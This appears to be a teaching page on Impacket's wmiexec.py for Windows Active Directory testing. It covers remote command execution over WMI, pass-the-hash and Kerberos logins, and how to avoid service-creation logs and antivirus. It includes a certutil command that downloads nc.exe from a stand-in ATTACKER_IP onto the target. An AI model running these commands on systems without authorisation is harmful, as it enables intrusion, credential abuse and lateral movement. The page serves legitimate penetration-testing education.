wmiexec.py

Impacket's WMI-based remote execution tool. Stealthier than psexec.py, uses Windows Management Instrumentation for command execution and SMB for output retrieval. No service creation, no uploaded binaries.

Windows AD
LevelIntermediate. A stealthier alternative to psexec once you understand why psexec is noisy.
Know firstWhat WMI (Windows Management Instrumentation) is, at least as "a way to run commands without creating a service".
You will learn toget a semi-interactive shell via wmiexec, and know why it leaves less trace than psexec.

What is it?

wmiexec.py uses Windows Management Instrumentation (WMI) to execute commands on remote Windows hosts. Unlike psexec.py, it doesn't upload a service binary or create a Windows service. Instead, it uses WMI's Win32_Process.Create method to spawn processes remotely.

The command output is redirected to a temporary file on an SMB share, which wmiexec.py reads and displays. This means you need both DCOM/WMI access (port 135 + dynamic RPC ports) and SMB access (port 445) for the tool to work.

Key differences from psexec.py:

  • No service creation: no Event ID 7045/4697 in the logs
  • No file upload to ADMIN$: nothing dropped on disk
  • Runs as the user, not SYSTEM: you get the privileges of the account you authenticate with
  • Semi-interactive: each command is a separate WMI process creation (slight delay between commands)

Run this first

wmiexec.py runs commands through WMI and reads their output back over SMB, with no service and no uploaded binary.

bash: your first shell
$ wmiexec.py corp.local/administrator:'Password123!'@10.10.10.10
  • corp.local/administrator:password@target is the same Impacket syntax psexec.py uses.

You get a semi-interactive prompt. It is not a true shell: each command is a separate WMI call, so things like cd do not persist state the way they would in a real shell, and there's a small delay per command.

How it works

For every command you type:

  1. WMI call over DCOM (port 135 + dynamic RPC) creates a cmd.exe /c process
  2. Output is redirected: cmd.exe /c "your_command" > \\127.0.0.1\ADMIN$\__randomfile 2>&1
  3. SMB read (port 445) retrieves the output file content
  4. Output file is deleted from ADMIN$
Why it's semi-interactive

Each command spawns a brand new cmd.exe. This means: environment variables don't persist between commands, cd doesn't carry over (use full paths), and long-running commands may time out. For truly interactive shells, evil-winrm is better.

When to use it

Choose wmiexec when
  • You want less noise than psexec → no service creation in event logs
  • ADMIN$ write is blocked → wmiexec needs read access to retrieve output, but doesn't write a service binary
  • You need pass-the-hash from Linux → supports NTLM hash authentication
  • Quick command execution → just need to run a few commands, not a full interactive session
  • psexec.py is being blocked by AV → the uploaded service binary triggers AV; wmiexec doesn't upload anything

Don't use wmiexec when:

  • You need a fully interactive shell: use evil-winrm or RDP instead
  • You need SYSTEM privileges: wmiexec runs as the user, not SYSTEM. Use psexec.py for SYSTEM
  • Port 135 is blocked: WMI requires DCOM. If only 445 is open, try psexec.py. If only 5985 is open, use evil-winrm

Usage examples

With password

bash: password authentication
$ wmiexec.py corp.local/administrator:'Password123!'@10.10.10.10

Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\> whoami
corp\administrator                                             <-- user level, not SYSTEM

C:\> hostname
DC01

Pass-the-hash

bash: NTLM hash authentication
$ wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f \
  corp.local/administrator@10.10.10.10

Kerberos authentication

bash: Kerberos ticket
$ export KRB5CCNAME=administrator.ccache
$ wmiexec.py -k -no-pass corp.local/administrator@dc01.corp.local

# Remember: hostname required for Kerberos, not IP

Execute single command (no shell)

bash: one-shot command
# Run a single command and get output
$ wmiexec.py corp.local/administrator:'Pass123!'@10.10.10.10 "ipconfig /all"

# Run PowerShell
$ wmiexec.py corp.local/administrator:'Pass123!'@10.10.10.10 \
  "powershell -c \"Get-LocalGroupMember Administrators\""

Semi-interactive shell tips

Because each command spawns a new cmd.exe, you need to handle things differently:

shell: working within the limitations
# cd doesn't persist: use full paths
C:\> dir C:\Users\administrator\Desktop

# Or chain commands on one line
C:\> cd C:\Users\administrator\Desktop && dir

# Environment variables reset each command
# This WON'T work across commands:
C:\> set FOO=bar
C:\> echo %FOO%      <-- returns %FOO% not bar

# Instead chain them:
C:\> set FOO=bar && echo %FOO%

# For file transfers, use certutil or PowerShell download
C:\> certutil -urlcache -split -f http://ATTACKER_IP/nc.exe C:\Windows\Temp\nc.exe

# For longer commands, use PowerShell encoded commands
C:\> powershell -enc [base64_encoded_command]
Common gotcha: special characters in output

Because output goes through cmd.exe /c redirection, commands with pipes (|), redirects (>), or ampersands (&) may need escaping. Use ^|, ^>, ^& when needed, or wrap complex commands in PowerShell.

wmiexec vs psexec vs evil-winrm

Featurewmiexec.pypsexec.pyevil-winrm
ProtocolWMI/DCOM + SMBSMB onlyWinRM (HTTP)
Ports needed135 + 4454455985
Privilege levelUser-levelSYSTEMUser-level
Service creationNoYes (noisy)No
File upload to diskTemp output files onlyService binary to ADMIN$No
Interactive shellSemi-interactiveFully interactiveFully interactive
Pass-the-hashYesYesYes
Kerberos authYesYesYes (with extra config)
File upload/downloadManual (certutil/PowerShell)Built-in (lput/lget)Built-in (upload/download)
PowerShellVia cmd.exeVia cmd.exeNative PowerShell
StealthMediumLowMedium-High
Quick decision

Need SYSTEM? → psexec.py. Need stealth? → wmiexec.py or evil-winrm. Need file transfers and PowerShell? → evil-winrm. Only port 445 open? → psexec.py or wmiexec.py. Only port 5985 open? → evil-winrm.

Common mistakes

Things that go wrong
  • Expecting SYSTEM: wmiexec.py runs as the authenticated user, not SYSTEM. If you need SYSTEM, use psexec.py
  • Forgetting cd doesn't persist: Each command is a new process. Use full paths or chain with &&
  • Port 135 blocked by firewall: wmiexec needs DCOM (135 + dynamic ports). If the Windows Firewall blocks DCOM, try psexec (445 only) or evil-winrm (5985)
  • Using IP with Kerberos: Same as psexec: use hostnames with -k
  • Not escaping special characters: Pipes, redirects, and ampersands in commands need ^ escaping or a PowerShell wrapper
  • Expecting persistent environment: Each command is isolated. Variables, cd, aliases, none persist. Plan commands accordingly

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

What makes wmiexec stealthier than psexec?
It creates no service and uploads no binary. It runs commands through WMI and retrieves output over SMB, which leaves much less for a defender to notice.
Why is the wmiexec shell described as semi-interactive rather than a real shell?
Each command is its own WMI call rather than a persistent session, so built-ins like cd do not carry state between commands the way they would in bash or PowerShell.
You have an NT hash. How do you authenticate with wmiexec instead of a password?
With -hashes LM:NT in place of the password, the same pass-the-hash pattern as psexec.
Between wmiexec and evil-winrm, which needs WinRM enabled on the target?
evil-winrm needs WinRM (port 5985/5986) and group membership for it. wmiexec only needs SMB and WMI access, which is available more often.
You just need to run one command and exit, not hold a shell open. What is the quicker option?
Pass the command directly on the wmiexec.py command line instead of dropping into the interactive prompt.